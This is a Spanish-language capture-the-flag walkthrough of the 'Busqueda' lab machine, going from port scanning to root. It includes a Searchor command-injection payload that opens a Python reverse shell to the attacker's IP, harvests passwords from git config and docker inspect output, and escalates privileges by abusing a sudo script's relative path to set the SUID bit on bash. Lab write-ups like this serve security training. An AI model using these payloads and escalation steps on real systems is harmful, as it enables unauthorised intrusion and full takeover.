Busqueda
Skills
- Searchor Exploitation (Command Injection) [RCE] (CVE-2023-43364)
- Git Configuration Listing
- Abusing sudoers privilege [Privilege Escalation]
Certificaciones
- OSCP (Escalada)
- eJPT
- eCPPTv3
Descripción
Búsqueda
es una máquina Linux
de dificultad fácil
que implica explotar un command injection
presente en un módulo de Python
. Al aprovechar esta vulnerabilidad, obtenemos acceso de nivel de usuario
a la máquina. Para escalar privilegios a root
, descubrimos credenciales
dentro de un archivo de configuración de Git
, lo que nos permite iniciar sesión
en un servicio local de Gitea
. Además, descubrimos que un script de verificación del sistema
puede ejecutarse con privilegios de root
por un usuario específico
. Utilizando este script, enumeramos los contenedores de Docker
, lo que revela credenciales
para la cuenta de Gitea
del usuario administrator
. Un análisis adicional del código fuente
del script de verificación del sistema en un repositorio de Git
revela un medio para explotar una referencia de ruta relativa
, otorgándonos Remote Code Execution (RCE)
con privilegios de root
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
9
# ping -c 3 10.129.228.217
PING 10.129.228.217 (10.129.228.217) 56(84) bytes of data.
64 bytes from 10.129.228.217: icmp_seq=1 ttl=63 time=36.8 ms
64 bytes from 10.129.228.217: icmp_seq=2 ttl=63 time=38.3 ms
64 bytes from 10.129.228.217: icmp_seq=3 ttl=63 time=37.4 ms
--- 10.129.228.217 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 36.816/37.494/38.279/0.601 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.228.217 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 23:41 CEST
Initiating SYN Stealth Scan at 23:41
Scanning 10.129.228.217 [65535 ports]
Discovered open port 22/tcp on 10.129.228.217
Discovered open port 80/tcp on 10.129.228.217
Completed SYN Stealth Scan at 23:41, 11.35s elapsed (65535 total ports)
Nmap scan report for 10.129.228.217
Host is up (0.053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.45 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# nmap -sCV -p 22,80 10.129.228.217 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 23:42 CEST
Nmap scan report for 10.129.228.217
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds
Web Enumeration
Si accedemos a http://http://10.129.228.217/
vemos esto
Agregamos el dominio
al /etc/hosts
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 kali-linux
10.129.228.217 searcher.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Si accedemos
nuevamente a la web
veremos esto
Vemos que se está empleando Flask
y Searchor 2.4.0
Web Exploitation
He encontrado la forma de ejecutar comandos
en versiones iguales o inferiores a la 2.4.2 https://github.com/jonnyzar/POC-Searchor-2.4.2.git. Lo primero que debemos hacer es ponernos en escucha
con netcat
1
# nc -nlvp 9001
Debemos inyectar
este payload
en la búsqueda
de Search
1
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.28',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
Recibimos
una shell
1
2
3
4
5
6
# nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.28] from (UNKNOWN) [10.129.228.217] 37830
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
Vamos a realizar
el tratamiento
a la TTY
, para ello obtenemos las dimensiones
de nuestra pantalla
1
2
# stty size
45 18
Efectuamos el tratamiento
a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Privilege Escalation
Listamos
todos los puertos internos abiertos
de la máquina víctima
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
svc@busqueda:/var/www/app$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:222 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:40417 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:42254 127.0.0.1:3000 ESTABLISHED
tcp 1 0 127.0.0.1:5000 127.0.0.1:58938 CLOSE_WAIT
tcp 0 0 127.0.0.1:3000 127.0.0.1:42272 ESTABLISHED
tcp 0 0 172.19.0.1:58322 172.19.0.2:3000 ESTABLISHED
tcp 0 0 172.19.0.1:58350 172.19.0.2:3000 ESTABLISHED
tcp 0 1 10.129.228.217:60424 8.8.8.8:53 SYN_SENT
tcp 0 0 127.0.0.1:42286 127.0.0.1:3000 ESTABLISHED
tcp 0 0 127.0.0.1:3000 127.0.0.1:42286 ESTABLISHED
tcp 0 0 127.0.0.1:3000 127.0.0.1:42254 ESTABLISHED
tcp 0 138 10.129.228.217:37830 10.10.16.28:9001 ESTABLISHED
tcp 0 0 127.0.0.1:42272 127.0.0.1:3000 ESTABLISHED
tcp 0 0 172.19.0.1:40972 172.19.0.2:3000 ESTABLISHED
tcp 0 0 127.0.0.1:3000 127.0.0.1:53816 ESTABLISHED
tcp 0 0 172.19.0.1:58348 172.19.0.2:3000 ESTABLISHED
tcp 0 0 127.0.0.1:53816 127.0.0.1:3000 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 10.129.228.217:80 10.10.16.28:49012 ESTABLISHED
tcp6 0 0 10.129.228.217:80 10.10.16.28:48996 FIN_WAIT2
Le hacemos un curl
al servicio
que corre por el puerto 3000
y vemos un subdominio
llamado gitea.searcher.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
svc@busqueda:/var/www/app$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en-US" class="theme-auto">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpemVzIjoiNTEyeDUxMiJ9LHsic3JjIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19">
<meta name="theme-color" content="#6cc644">
<meta name="default-theme" content="auto">
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta name="keywords" content="go,git,self-hosted,gitea">
<meta name="referrer" content="no-referrer">
<link rel="icon" href="/assets/img/favicon.svg" type="image/svg+xml">
<link rel="alternate icon" href="/assets/img/favicon.png" type="image/png">
<link rel="stylesheet" href="/assets/css/index.css?v=1.18.0~rc1">
<script>
window.addEventListener('error', function(e) {window._globalHandlerErrors=window._globalHandlerErrors||[]; window._globalHandlerErrors.push(e);});
window.config = {
appUrl: 'http:\/\/gitea.searcher.htb\/',
appSubUrl: '',
assetVersionEncoded: encodeURIComponent('1.18.0~rc1'),
assetUrlPrefix: '\/assets',
runModeIsProd: true ,
customEmojis: {"codeberg":":codeberg:","git":":git:","gitea":":gitea:","github":":github:","gitlab":":gitlab:","gogs":":gogs:"},
useServiceWorker: false ,
csrfToken: 'QQ6foGhzlFh9ewZFb3AE6ODvCUo6MTcyODk0NDk4Njk5OTQzMzgyNg',
pageData: {},
requireTribute: null ,
notificationSettings: {"EventSourceUpdateTime":10000,"MaxTimeout":60000,"MinTimeout":10000,"TimeoutStep":10000},
enableTimeTracking: true ,
mermaidMaxSourceCharacters: 5000 ,
i18n: {
copy_success: 'Copied!',
copy_error: 'Copy failed',
error_occurred: 'An error occurred',
network_error: 'Network error',
},
};
También podemos comprobar
los dominios
visualizando el /etc/hosts
1
2
3
4
5
6
7
8
9
10
svc@busqueda:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 busqueda searcher.htb gitea.searcher.htb
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Agregamos
el dominio
a nuestro /etc/hosts
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 kali-linux
10.129.228.217 searcher.htb gitea.searcher.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Visualizamos
los directorios ocultos
y vemos un .git
1
2
3
4
5
6
7
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 .
drwxr-xr-x 4 root root 4096 Apr 4 2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Oct 14 21:40 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
Listamos
todas las configuraciones
de Git
que están actualmente establecidas en tu entorno
y vemos unas credenciales
1
2
3
4
5
6
7
8
9
10
11
12
13
14
svc@busqueda:/var/www/app$ git config -l
user.email=cody@searcher.htb
user.name=cody
core.hookspath=no-hooks
safe.directory=/var/www/app/.git
safe.directory=/var/www/app
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
remote.origin.url=http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
remote.origin.fetch=+refs/heads/*:refs/remotes/origin/*
branch.main.remote=origin
branch.main.merge=refs/heads/main
Se reutiliza la contraseña jh1usoih2bkjaspwe92
para nuestro usuario
1
2
3
4
5
6
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Si accedemos a http://gitea.searcher.htb/
vemos esto
Pulsamos en Iniciar Sesión
y nos logueamos
como el usuario cody
Una vez dentro vemos que hay otro usuario
llamado administrador
del cual podemos intentar conseguir
las credenciales
para logueamos
He buscado docker inspect
en Google
y he filtrado
por format
, he dado con esta web en la cual explica los tipos
de formats
que existen https://docs.docker.com/engine/cli/formatting/
1
2
svc@busqueda:~/privesc/opt$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea
{"Id":"960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb","Created":"2023-01-06T17:26:54.457090149Z","Path":"/usr/bin/entrypoint","Args":["/bin/s6-svscan","/etc/s6"],"State":{"Status":"running","Running":true,"Paused":false,"Restarting":false,"OOMKilled":false,"Dead":false,"Pid":1725,"ExitCode":0,"Error":"","StartedAt":"2024-10-14T21:40:16.153873356Z","FinishedAt":"2023-04-04T17:03:01.71746837Z"},"Image":"sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78","ResolvConfPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf","HostnamePath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname","HostsPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts","LogPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log","Name":"/gitea","RestartCount":0,"Driver":"overlay2","Platform":"linux","MountLabel":"","ProcessLabel":"","AppArmorProfile":"docker-default","ExecIDs":null,"HostConfig":{"Binds":["/etc/timezone:/etc/timezone:ro","/etc/localtime:/etc/localtime:ro","/root/scripts/docker/gitea:/data:rw"],"ContainerIDFile":"","LogConfig":{"Type":"json-file","Config":{}},"NetworkMode":"docker_gitea","PortBindings":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"RestartPolicy":{"Name":"always","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":[],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"private","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"private","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":67108864,"Runtime":"runc","ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":null,"OomKillDisable":null,"PidsLimit":null,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":["/proc/asound","/proc/acpi","/proc/kcore","/proc/keys","/proc/latency_stats","/proc/timer_list","/proc/timer_stats","/proc/sched_debug","/proc/scsi","/sys/firmware"],"ReadonlyPaths":["/proc/bus","/proc/fs","/proc/irq","/proc/sys","/proc/sysrq-trigger"]},"GraphDriver":{"Data":{"LowerDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff","MergedDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged","UpperDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff","WorkDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"},"Name":"overlay2"},"Mounts":[{"Type":"bind","Source":"/root/scripts/docker/gitea","Destination":"/data","Mode":"rw","RW":true,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/localtime","Destination":"/etc/localtime","Mode":"ro","RW":false,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/timezone","Destination":"/etc/timezone","Mode":"ro","RW":false,"Propagation":"rprivate"}],"Config":{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}},"NetworkSettings":{"Bridge":"","SandboxID":"1d46388a7260b13bc702bca4c905a131bb5033c1a1fff7888a0f0311a77c1f31","HairpinMode":false,"LinkLocalIPv6Address":"","LinkLocalIPv6PrefixLen":0,"Ports":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"SandboxKey":"/var/run/docker/netns/1d46388a7260","SecondaryIPAddresses":null,"SecondaryIPv6Addresses":null,"EndpointID":"","Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"IPAddress":"","IPPrefixLen":0,"IPv6Gateway":"","MacAddress":"","Networks":{"docker_gitea":{"IPAMConfig":null,"Links":null,"Aliases":["server","960873171e2e"],"NetworkID":"cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227","EndpointID":"e6d05bb43d4dfa03d600380967ee5b29ab941aa86bcef77d28303b87a1e9d6a0","Gateway":"172.19.0.1","IPAddress":"172.19.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:13:00:02","DriverOpts":null}}}}
Para que verlo mejor vamos a copiarnos
este texto
y meterlo
en un archivo
en nuestra máquina
y ejecutar
este comando
para que el output
se vea de una forma más clara
. Una vez hecho esto podemos ver una credencial
1
2
3
4
5
6
7
8
9
10
11
12
13
# cat information.txt | jq
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
Nos logueamos
con las credenciales administrator:yuiu1hoiu4i5ho1uh
Una vez hecho esto vemos que existe un repositorio
llamado scripts
Si accedemos a él vemos varios scripts
, estos scripts son los que podemos ejecutar
como sudo
Analizando
el script system-checkup.py
vemos que solo funcionará si le pasamos como argumento
el script ./full-checkup.sh
1
2
3
4
5
6
7
8
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
Esto significa que cuando ejecutemos
el comando
debemos estar en el directorio
en el que se encuentra el script
o de lo contrario no funcionará
1
2
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
Si ejecutamos el script desde el directorio /opt/scripts
funciona correctamente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[=] Docker port mappings
{
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
}
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0 │ app │ default │ N/A │ fork │ 1536 │ 20h │ 0 │ online │ 0% │ 16.6mb │ svc │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!
Podemos aprovecharnos
del funcionamiento
del script
creándonos
un archivo .sh
con esta instrucción
1
2
3
4
svc@busqueda:~/privesc$ cat full-checkup.sh
#!/bin/bash
chmod u+s /usr/bin/bash
Le damos permisos
de ejecución
al archivo
1
svc@busqueda:~/privesc$ chmod +x full-checkup.sh
Ejecutamos
el script
1
2
3
svc@busqueda:~/privesc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
Comprobamos
que el script
ha funcionado
1
2
svc@busqueda:~/privesc$ ls -l /usr/bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /usr/bin/bash
Nos convertimos
en root
spawneando una bash
como el propietario
que es root
1
2
3
svc@busqueda:~/privesc$ bash -p
bash-5.1# whoami
root